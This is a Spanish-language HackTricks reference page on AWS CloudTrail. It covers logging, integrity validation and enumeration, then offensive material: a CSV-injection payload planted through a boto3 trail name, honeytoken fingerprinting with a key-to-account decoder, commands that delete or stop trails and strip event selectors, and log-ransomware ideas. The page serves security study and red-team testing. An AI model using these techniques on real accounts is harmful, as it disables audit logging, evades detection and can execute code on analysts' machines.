AWS - CloudTrail Enum

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

CloudTrail

AWS CloudTrail registra y monitorea la actividad dentro de tu entorno de AWS. Captura registros detallados de eventos, incluyendo quién hizo qué, cuándo y desde dónde, para todas las interacciones con los recursos de AWS. Esto proporciona un rastro de auditoría de cambios y acciones, ayudando en el análisis de seguridad, auditorías de cumplimiento y seguimiento de cambios de recursos. CloudTrail es esencial para comprender el comportamiento de usuarios y recursos, mejorar las posturas de seguridad y garantizar el cumplimiento normativo.

Cada evento registrado contiene:

  • El nombre de la API llamada: eventName

  • El servicio llamado: eventSource

  • La hora: eventTime

  • La dirección IP: SourceIPAddress

  • El método del agente: userAgent. Ejemplos:

    • Signing.amazonaws.com - Desde la Consola de Administración de AWS

    • console.amazonaws.com - Usuario raíz de la cuenta

    • lambda.amazonaws.com - AWS Lambda

  • Los parámetros de la solicitud: requestParameters

  • Los elementos de respuesta: responseElements

Los eventos se escriben en un nuevo archivo de registro aproximadamente cada 5 minutos en un archivo JSON, son retenidos por CloudTrail y finalmente, los archivos de registro son entregados a S3 aproximadamente 15 minutos después. Los registros de CloudTrail pueden ser agregados entre cuentas y regiones. CloudTrail permite utilizar integridad de archivos de registro para poder verificar que sus archivos de registro no han cambiado desde que CloudTrail los entregó. Crea un hash SHA-256 de los registros dentro de un archivo de resumen. Se crea un hash sha-256 de los nuevos registros cada hora. Al crear un Trail, los selectores de eventos te permitirán indicar el trail para registrar: eventos de gestión, datos o de análisis.

Los registros se guardan en un bucket S3. Por defecto se utiliza el cifrado en el lado del servidor (SSE-S3) para que AWS descifre el contenido para las personas que tienen acceso a él, pero para mayor seguridad puedes utilizar SSE con KMS y tus propias claves.

Los registros se almacenan en un bucket S3 con este formato de nombre:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • Siendo el BucketName: aws-cloudtrail-logs-<accountid>-<random>

  • Ejemplo: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

Dentro de cada carpeta, cada registro tendrá un nombre siguiendo este formato: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Convención de Nomenclatura de Archivos de Registro

Además, los archivos de resumen (para verificar la integridad del archivo) estarán dentro del mismo bucket en:

Agregar Registros de Múltiples Cuentas

  • Crea un Trail en la cuenta de AWS donde deseas que se entreguen los archivos de registro

  • Aplica permisos al bucket S3 de destino permitiendo el acceso entre cuentas para CloudTrail y permite el acceso a cada cuenta de AWS que lo necesite

  • Crea un nuevo Trail en las otras cuentas de AWS y selecciona usar el bucket creado en el paso 1

Sin embargo, aunque puedes guardar todos los registros en el mismo bucket S3, no puedes agregar los registros de CloudTrail de múltiples cuentas en un CloudWatch Logs perteneciente a una sola cuenta de AWS.

Recuerda que una cuenta puede tener diferentes Trails de CloudTrail habilitados almacenando los mismos (o diferentes) registros en diferentes buckets.

Cloudtrail de todas las cuentas de la organización en 1

Al crear un CloudTrail, es posible indicar activar cloudtrail para todas las cuentas en la organización y obtener los registros en solo 1 bucket:

De esta manera puedes configurar fácilmente CloudTrail en todas las regiones de todas las cuentas y centralizar los registros en 1 cuenta (que debes proteger).

Verificación de Archivos de Registro

Puedes verificar que los registros no han sido alterados ejecutando

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Registros a CloudWatch

CloudTrail puede enviar automáticamente registros a CloudWatch para que pueda configurar alertas que le avisen cuando se realicen actividades sospechosas. Tenga en cuenta que para permitir que CloudTrail envíe los registros a CloudWatch, es necesario crear un rol que permita esa acción. Si es posible, se recomienda utilizar el rol predeterminado de AWS para realizar estas acciones. Este rol permitirá a CloudTrail:

  • CreateLogStream: Esto permite crear flujos de registros de CloudWatch Logs

  • PutLogEvents: Entregar registros de CloudTrail a flujos de registros de CloudWatch Logs

Historial de Eventos

El Historial de Eventos de CloudTrail le permite inspeccionar en una tabla los registros que se han registrado:

Insights

CloudTrail Insights analiza automáticamente eventos de gestión de escritura de senderos de CloudTrail y le alerta sobre actividades inusuales. Por ejemplo, si hay un aumento en los eventos TerminateInstance que difiere de los baselines establecidos, lo verá como un evento de Insight. Estos eventos hacen que encontrar y responder a actividades de API inusuales sea más fácil que nunca.

Los insights se almacenan en el mismo bucket que los registros de CloudTrail en: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Seguridad

Integridad de Archivos de Registro de CloudTrail

  • Validar si los registros han sido manipulados (modificados o eliminados)

  • Utiliza archivos de resumen (crea un hash para cada archivo)

    • Hashing SHA-256

    • SHA-256 con RSA para firma digital

    • clave privada propiedad de Amazon

  • Lleva 1 hora crear un archivo de resumen (se realiza cada hora en punto)

Detener el acceso no autorizado

  • Usar políticas IAM y políticas de cubo S3

    • equipo de seguridad —> acceso de administrador

    • auditores —> acceso de solo lectura

  • Usar SSE-S3/SSE-KMS para cifrar los registros

Prevenir la eliminación de archivos de registro

  • Restringir el acceso de eliminación con políticas IAM y de cubo

  • Configurar eliminación de S3 MFA

  • Validar con Validación de Archivos de Registro

Asesor de Acceso

El Asesor de Acceso de AWS se basa en los últimos 400 días de registros de CloudTrail de AWS para recopilar sus conocimientos. CloudTrail captura un historial de llamadas a la API de AWS y eventos relacionados realizados en una cuenta de AWS. El Asesor de Acceso utiliza estos datos para mostrar cuándo se accedió por última vez a los servicios. Al analizar los registros de CloudTrail, el Asesor de Acceso puede determinar a qué servicios de AWS ha accedido un usuario IAM o un rol y cuándo ocurrió ese acceso. Esto ayuda a los administradores de AWS a tomar decisiones informadas sobre refinar permisos, ya que pueden identificar servicios que no se han accedido durante períodos prolongados y potencialmente reducir permisos demasiado amplios basados en patrones de uso reales.

Por lo tanto, el Asesor de Acceso informa sobre los permisos innecesarios que se otorgan a los usuarios para que el administrador pueda eliminarlos

Acciones

Enumeración

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

Inyección de CSV

Es posible realizar una inyección de CSV dentro de CloudTrail que ejecutará código arbitrario si los registros se exportan en CSV y se abren con Excel. El siguiente código generará una entrada de registro con un nombre de Trail incorrecto que contiene la carga útil:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Para obtener más información sobre las Inyecciones CSV, visita la página:

Para obtener más información sobre esta técnica específica, visita https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Bypass de Detección

Bypass de HoneyTokens

Los HoneyTokens se crean para detectar la filtración de información sensible. En el caso de AWS, son claves de AWS cuyo uso se monitorea, si algo activa una acción con esa clave, entonces alguien debe haber robado esa clave.

Sin embargo, esta monitorización se realiza a través de CloudTrail, y hay algunos servicios de AWS que no envían registros a CloudTrail (encuentra la lista aquí). Algunos de esos servicios responderán con un error que contiene el ARN del rol de la clave si alguien no autorizado (la clave de HoneyToken) intenta acceder.

De esta manera, un atacante puede obtener el ARN de la clave sin activar ningún registro. En el ARN, el atacante puede ver el ID y el nombre de la cuenta de AWS, es fácil saber los ID y nombres de las cuentas de las empresas de HoneyToken, de esta manera un atacante puede identificar si el token es un HoneyToken.

Detección de HoneyTokens

Pacu detecta si una clave pertenece a Canarytokens, SpaceCrab, SpaceSiren:

  • Si canarytokens.org aparece en el nombre del rol o el ID de cuenta 534261010715 aparece en el mensaje de error.

  • Probándolos más recientemente, están utilizando la cuenta 717712589309 y todavía tienen la cadena canarytokens.com en el nombre.

  • Si SpaceCrab aparece en el nombre del rol en el mensaje de error.

  • SpaceSiren utiliza uuids para generar nombres de usuario: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • Si el nombre parece generado aleatoriamente, hay altas probabilidades de que sea un HoneyToken.

Ten en cuenta que todas las API públicas descubiertas que no estaban creando registros de CloudTrail ahora están arregladas, por lo que tal vez necesites encontrar las tuyas...

O puedes obtener el ID de cuenta del codificado dentro de la clave de acceso como se explica aquí y verificar el ID de cuenta con tu lista de cuentas de AWS de Honeytokens:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print ("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Para obtener más información, consulta la investigación original.

Accediendo a Infraestructura de Terceros

Algunos servicios de AWS generarán infraestructura como Bases de Datos o clústeres de Kubernetes (EKS). Un usuario que se comunique directamente con esos servicios (como la API de Kubernetes) no utilizará la API de AWS, por lo que CloudTrail no podrá ver esta comunicación.

Por lo tanto, un usuario con acceso a EKS que haya descubierto la URL de la API de EKS podría generar un token localmente y comunicarse directamente con el servicio de la API sin ser detectado por CloudTrail.

Más información en:

pageAWS - EKS Post Exploitation

Modificando la Configuración de CloudTrail

Eliminar trails

aws cloudtrail delete-trail --name [trail-name]

Detener rastreos

aws cloudtrail stop-logging --name [trail-name]

Deshabilitar el registro multi-región

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Deshabilitar el registro por Selectores de Eventos

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

Modificación de la configuración del Bucket

  • Eliminar el bucket S3

  • Cambiar la política del bucket para denegar cualquier escritura desde el servicio CloudTrail

  • Agregar una política de ciclo de vida al bucket S3 para eliminar objetos

  • Deshabilitar la clave KMS utilizada para cifrar los registros de CloudTrail

Ransomware de CloudTrail

Ransomware de S3

Podrías generar una clave asimétrica y hacer que CloudTrail cifre los datos con esa clave y eliminar la clave privada para que el contenido de CloudTrail no pueda ser recuperado. Básicamente, esto es un ransomware de S3-KMS explicado en:

pageAWS - S3 Post Exploitation

Ransomware de KMS

Esta es una forma más sencilla de realizar el ataque anterior con diferentes requisitos de permisos:

pageAWS - KMS Post Exploitation

Referencias

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización